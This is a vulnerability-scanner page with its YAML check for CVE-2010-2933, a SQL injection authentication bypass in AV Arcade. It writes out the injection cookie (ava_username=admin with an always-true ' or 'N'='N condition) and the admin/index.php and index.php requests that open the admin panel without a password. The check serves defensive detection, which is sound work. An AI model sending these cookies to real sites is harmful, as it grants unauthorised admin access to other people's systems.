AV Arcade — 1 vulnerability check

noctis ships 1 vulnerability check for AV Arcade, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

AV Arcade ava_code cookie SQL injection authentication bypass

CVECVE-2010-2933
Severityhigh · CVSS 7.5
Categorysqli — SQL injection
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 97
Feedtests/vulnerabilities/av-arcade/CVE-2010-2933.yaml

Looks for AV Arcade (index.php showing the "AV Arcade" and "AV Scripts" links) under /avarcade, /avarcade/upload and the web root. It then opens the admin panel (admin/index.php) and the front page with the login cookies ava_username=admin and ava_code set to a random 32-character hex value followed by an SQL condition: once an always-false one (' or 'N'='M), once an always-true one (' or 'N'='N). The finding fires when the true condition opens the admin panel (no login form, no "Not admin") while the false one does not, or, without an admin panel, when the true condition gets the full front page while the false one gets the invalid-login page: the cookie is evaluated inside the login SQL query and the password check is bypassed. An admin panel that also opens for the false condition is reported separately, with lower confidence. When the injection gives no result but admin/stats.php shows version 3.0, the CVE is reported from the version alone, with lower confidence. The requests are ordinary page views carrying login cookies; no data is read or changed.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request GET {{dir}}/index.php
  3. Parses / computes the next value with a Rhai script
  4. HTTP(S) request GET {{dir}}/admin/index.php
  5. HTTP(S) request GET {{dir}}/admin/index.php
  6. HTTP(S) request GET {{dir}}/index.php
  7. HTTP(S) request GET {{dir}}/index.php
  8. HTTP(S) request GET {{dir}}/admin/stats.php
  9. Parses / computes the next value with a Rhai script
  10. Checks v.ast for . → finding QoD 97: AV Arcade ava_code cookie SQL injection authentication bypass (admin panel)
  11. Checks v.ast for . → finding QoD 75: AV Arcade ava_code cookie SQL injection authentication bypass (admin panel)
  12. Checks v.fst for . → finding QoD 97: AV Arcade ava_code cookie SQL injection authentication bypass
  13. Checks v.ver for ^3\.0$ → finding QoD 70: AV Arcade 3.0 ava_code cookie SQL injection (version)
  14. Checks v.ast for . → finding QoD 50: AV Arcade admin panel opens for an invalid login cookie

References:

Feed source — tests/vulnerabilities/av-arcade/CVE-2010-2933.yaml
# AV Arcade 3 ava_code cookie SQL injection / login bypass (CVE-2010-2933).
#
# Ported from OpenVAS/Greenbone NVT `2010/gb_av_arcade_sql_inj_vuln.nasl`
# (OID 1.3.6.1.4.1.25623.1.0.801396, GPL-2.0-only). The NASL never sends the
# injection: for /avarcade, /avarcade/upload and the CGI dirs it requires
# ">AV Arcade" + ">AV Scripts</" on index.php, then ">AV Arcade" on admin/stats.php
# and reports when the first "> ([0-9.]+)" there is exactly 3.0 (vendor: WillNotFix).
#
# Vulnerable code: the 3.0 source is no longer published. EDB-14494 sets the cookies
# ava_username=admin and ava_code=<md5 hex> 'or' 1=1, then opens the main page logged
# in. The later 5.x code (public mirrors) keeps the same flow — admin/secure.php runs
# SELECT … FROM ava_users WHERE … password='<ava_code>' AND admin='1' and prints
# "Not admin" when no row matches; includes/core.php getUser() runs the same check for
# the front end and exits with a short "invalid login" page — but strips every
# non-alphanumeric character from ava_code first, which is the fix.
#
# Better than the NASL:
#   - Sends the injection instead of trusting the version: two cookie logins with a
#     random 32-hex code followed by an always-true (' or 'N'='N) and an always-false
#     (' or 'N'='M) condition. True opens the admin panel (no login form, no "Not
#     admin") while false is refused ("Not admin", login form or a redirect) → QoD 97
#     true/false differential (admin access without any password). Control with no
#     reply or an unexpected answer (5xx…) → QoD 75.
#   - Same differential on the front page (admin/ removed or renamed): the true
#     cookie gets the full site (AV Arcade / AV Scripts footer) with a logout link the
#     cookie-less page lacks, the false one a 200 page without the site (the early
#     "invalid login" stop) → QoD 97 (logged in as a member). Nothing weaker reports.
#   - Admin panel opening for the false condition too → separate QoD 50 hint, no CVE.
#   - Version 3.0 on admin/stats.php with no injection result (magic_quotes_gpc,
#     a different cookie flow) → QoD 70 version finding, as the NASL reports. Like the
#     NASL it reads stats.php without a session; if 3.0 put stats.php behind the admin
#     login (unknown, 5.x does) only the injection branches can see that install.
# Requests are page views with login cookies; nothing is written by the probe.
uid: 5a93570e-a89a-4b5f-8013-b14594532b37
name: "AV Arcade ava_code cookie SQL injection authentication bypass"
description: >-
  Looks for AV Arcade (index.php showing the "AV Arcade" and "AV Scripts" links)
  under /avarcade, /avarcade/upload and the web root. It then opens the admin
  panel (admin/index.php) and the front page with the login cookies
  ava_username=admin and ava_code set to a random 32-character hex value followed
  by an SQL condition: once an always-false one (' or 'N'='M), once an always-true
  one (' or 'N'='N). The finding fires when the true condition opens the admin
  panel (no login form, no "Not admin") while the false one does not, or, without
  an admin panel, when the true condition gets the full front page while the
  false one gets the invalid-login page: the cookie is evaluated inside the login
  SQL query and the password check is bypassed. An admin panel that also opens
  for the false condition is reported separately, with lower confidence. When the
  injection gives no result but admin/stats.php shows version 3.0, the CVE is
  reported from the version alone, with lower confidence. The requests are
  ordinary page views carrying login cookies; no data is read or changed.
category: sqli
cves: [CVE-2010-2933]
cvss: 7.5
severity: high
confidence_base: 0.30
tags: [av-arcade, php, sqli, auth-bypass, cookie, web-application]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2010-2933"
  - "https://www.exploit-db.com/exploits/14494"

steps:
  # Shared random values: the fake md5 code and the condition operands.
  - id: gen
    action: script
    code: |
      let n = rand_int(1000, 9999);
      #{ h: rand_hex(16), n: n, f: n + 1 }
    store_as: rv

  # Loop group: every following step runs once per directory. Pre-initialise the
  # stored results so a failed request never leaves them undefined or holding the
  # previous directory's reply.
  - id: init-page
    action: set_var
    var_name: page
    var_value: {status: 0, body: ""}
    loop:
      var: dir
      over: ["/avarcade", "/avarcade/upload", ""]

  - id: init-stats
    action: set_var
    var_name: stats
    var_value: {status: 0, body: ""}

  - id: init-actl
    action: set_var
    var_name: actl
    var_value: {status: 0, body: ""}

  - id: init-ainj
    action: set_var
    var_name: ainj
    var_value: {status: 0, body: ""}

  - id: init-fctl
    action: set_var
    var_name: fctl
    var_value: {status: 0, body: ""}

  - id: init-finj
    action: set_var
    var_name: finj
    var_value: {status: 0, body: ""}

  - id: front-page
    action: http_request
    method: GET
    path: "{{dir}}/index.php"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: page

  - id: gate
    action: script
    code: |
      let b = if type_of(page.body) == "string" { page.body } else { "" };
      #{ ok: page.status == 200 && stridx(b, ">AV Arcade") >= 0 && stridx(b, ">AV Scripts</") >= 0 }
    store_as: fp

  # Control: always-false condition — must not log in.
  - id: admin-control
    action: http_request
    method: GET
    path: "{{dir}}/admin/index.php"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: "fp.ok"
    headers:
      Cookie: "ava_username=admin; ava_code={{rv.h}}%27%20or%20%27{{rv.n}}%27%3D%27{{rv.f}}"
    store_as: actl

  # Injection: always-true condition.
  - id: admin-inject
    action: http_request
    method: GET
    path: "{{dir}}/admin/index.php"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: "fp.ok"
    headers:
      Cookie: "ava_username=admin; ava_code={{rv.h}}%27%20or%20%27{{rv.n}}%27%3D%27{{rv.n}}"
    store_as: ainj

  - id: front-control
    action: http_request
    method: GET
    path: "{{dir}}/index.php"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: "fp.ok"
    headers:
      Cookie: "ava_username=admin; ava_code={{rv.h}}%27%20or%20%27{{rv.n}}%27%3D%27{{rv.f}}"
    store_as: fctl

  - id: front-inject
    action: http_request
    method: GET
    path: "{{dir}}/index.php"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: "fp.ok"
    headers:
      Cookie: "ava_username=admin; ava_code={{rv.h}}%27%20or%20%27{{rv.n}}%27%3D%27{{rv.n}}"
    store_as: finj

  - id: admin-stats
    action: http_request
    method: GET
    path: "{{dir}}/admin/stats.php"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: "fp.ok"
    store_as: stats

  - id: verdict
    action: script
    code: |
      fn body(r) {
        if type_of(r) == "map" && type_of(r.body) == "string" { r.body } else { "" }
      }
      fn replied(r) { type_of(r) == "map" && r.status != 0 }
      fn panel(r) {
        let b = body(r);
        replied(r) && r.status == 200 && ereg("AV Arcade", b, true)
          && !ereg("Not admin", b, true) && !ereg("type=[\"']?password", b, true)
      }
      fn site(r) {
        let b = body(r);
        replied(r) && r.status == 200 && stridx(b, ">AV Arcade") >= 0 && stridx(b, ">AV Scripts</") >= 0
      }
      fn rejected(r) {
        let b = body(r);
        replied(r) && ((r.status == 200 && (ereg("Not admin", b, true) || ereg("type=[\"']?password", b, true)))
          || (r.status >= 300 && r.status < 400))
      }
      let a_hit = fp.ok && panel(ainj);
      let a_rej = rejected(actl);
      let a_ctl_in = panel(actl);
      let f_hit = fp.ok && site(finj) && ereg("logout", body(finj), true) && !ereg("logout", body(page), true)
        && replied(fctl) && fctl.status == 200 && !site(fctl);
      let sb = body(stats);
      let m = eregmatch("> ([0-9.]+)", sb);
      let ver = if fp.ok && stats.status == 200 && stridx(sb, ">AV Arcade") >= 0 && type_of(m) == "array" && m.len() > 1 { m[1] } else { "unknown" };
      let admin = a_hit && a_rej;
      let admin_noctl = a_hit && !a_rej && !a_ctl_in;
      let front = f_hit && !admin && !admin_noctl;
      let actl_desc = if !replied(actl) { "no reply" }
        else if actl.status >= 300 && actl.status < 400 { "redirect, status " + actl.status }
        else if ereg("Not admin", body(actl), true) { "\"Not admin\", status 200" }
        else if ereg("type=[\"']?password", body(actl), true) { "the login form, status 200" }
        else { "status " + actl.status + ", no admin panel" };
      #{ admin: admin,
         admin_noctl: admin_noctl,
         front: front,
         any: a_hit && a_ctl_in,
         v30: fp.ok && !(admin || admin_noctl || front) && ver == "3.0",
         ver: ver,
         ast: "" + ainj.status, actl: actl_desc,
         fst: "" + finj.status }
    store_as: v

  - id: admin-bypass
    action: match
    source: v.ast
    pattern: "."
    condition: "v.admin"
    on_match:
      finding:
        cves: [CVE-2010-2933]
        title: "AV Arcade ava_code cookie SQL injection authentication bypass (admin panel)"
        description: "AV Arcade concatenates the ava_code login cookie into the SQL query that checks the logged-in user, so an unauthenticated attacker bypasses the password check and opens the administration panel."
        confidence_delta: 0.65
        qod: 97
        evidence: "AV Arcade at {{dir}}/: GET {{dir}}/admin/index.php with ava_username=admin and ava_code=<random hex>' or '{{rv.n}}'='{{rv.n}} answered status {{v.ast}} with the admin panel (no login form, no \"Not admin\"); the same request with the false condition '{{rv.n}}'='{{rv.f}} was refused ({{v.actl}})."
        remediation: "AV Arcade 3 will not be fixed by the vendor: upgrade to a later AV Arcade release, which strips non-alphanumeric characters from the ava_code cookie, or remove the application; restrict access to its admin/ directory."
      stop: true

  - id: admin-bypass-unconfirmed-control
    action: match
    source: v.ast
    pattern: "."
    condition: "v.admin_noctl"
    on_match:
      finding:
        cves: [CVE-2010-2933]
        title: "AV Arcade ava_code cookie SQL injection authentication bypass (admin panel)"
        description: "AV Arcade concatenates the ava_code login cookie into the SQL query that checks the logged-in user, so an unauthenticated attacker bypasses the password check and opens the administration panel."
        confidence_delta: 0.50
        qod: 75
        evidence: "AV Arcade at {{dir}}/: GET {{dir}}/admin/index.php with ava_username=admin and ava_code=<random hex>' or '{{rv.n}}'='{{rv.n}} answered status {{v.ast}} with the admin panel (no login form, no \"Not admin\"); the false-condition control request got neither a rejection nor the panel ({{v.actl}})."
        remediation: "AV Arcade 3 will not be fixed by the vendor: upgrade to a later AV Arcade release, which strips non-alphanumeric characters from the ava_code cookie, or remove the application; restrict access to its admin/ directory."
      stop: true

  - id: front-login-bypass
    action: match
    source: v.fst
    pattern: "."
    condition: "v.front"
    on_match:
      finding:
        cves: [CVE-2010-2933]
        title: "AV Arcade ava_code cookie SQL injection authentication bypass"
        description: "AV Arcade concatenates the ava_code login cookie into the SQL query that checks the logged-in user, so an unauthenticated attacker is logged in as an existing account without its password."
        confidence_delta: 0.65
        qod: 97
        evidence: "AV Arcade at {{dir}}/: GET {{dir}}/index.php with ava_username=admin and ava_code=<random hex>' or '{{rv.n}}'='{{rv.n}} answered status {{v.fst}} with the full site and a logout link (logged in; the cookie-less page has none), while the same request with the false condition '{{rv.n}}'='{{rv.f}} stopped at the invalid-login page."
        remediation: "AV Arcade 3 will not be fixed by the vendor: upgrade to a later AV Arcade release, which strips non-alphanumeric characters from the ava_code cookie, or remove the application."
      stop: true

  - id: version-only
    action: match
    source: v.ver
    pattern: "^3\\.0$"
    condition: "v.v30"
    on_match:
      finding:
        cves: [CVE-2010-2933]
        title: "AV Arcade 3.0 ava_code cookie SQL injection (version)"
        description: "admin/stats.php identifies AV Arcade 3.0, whose login check concatenates the ava_code cookie into its SQL query. The cookie login bypass probe did not open the admin panel or log in (for example because magic_quotes_gpc escapes the quotes), so this finding rests on the version only."
        confidence_delta: 0.40
        qod: 70
        evidence: "{{dir}}/admin/stats.php shows AV Arcade version {{v.ver}}; the ava_code cookie injection gave no true/false difference on {{dir}}/admin/index.php or {{dir}}/index.php."
        remediation: "AV Arcade 3 will not be fixed by the vendor: upgrade to a later AV Arcade release, which strips non-alphanumeric characters from the ava_code cookie, or remove the application."
      stop: true

  - id: admin-open
    action: match
    source: v.ast
    pattern: "."
    condition: "v.any"
    on_match:
      finding:
        cves: []
        title: "AV Arcade admin panel opens for an invalid login cookie"
        description: "The AV Arcade admin/index.php page showed the admin panel both for an always-true and an always-false ava_code cookie condition. The administration area may be reachable without valid credentials; check it manually."
        confidence_delta: 0.20
        qod: 50
        evidence: "GET {{dir}}/admin/index.php showed the admin panel for ava_code=<random hex>' or '{{rv.n}}'='{{rv.n}} and also for the false condition '{{rv.n}}'='{{rv.f}}."
        remediation: "Restrict access to the AV Arcade admin/ directory to trusted users."
      stop: true

View these feeds on GitHub